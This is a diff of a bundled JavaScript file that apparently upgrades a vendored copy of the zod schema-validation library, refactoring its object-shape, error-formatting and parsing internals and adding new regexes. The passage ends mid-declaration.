+55460,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55498,6 +55499,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55536,8 +55587,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55715,16 +55766,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55736,23 +55787,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55761,23 +55810,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55786,45 +55822,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55832,74 +55862,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55932,29 +55914,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55980,12 +56008,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56037,43 +56065,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56090,27 +56387,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56130,11 +56439,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56145,7 +56461,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56166,9 +56482,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56177,32 +56493,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56211,39 +56536,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56265,9 +56653,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56275,8 +56664,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56290,6 +56681,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56301,6 +56693,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56330,10 +56723,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = 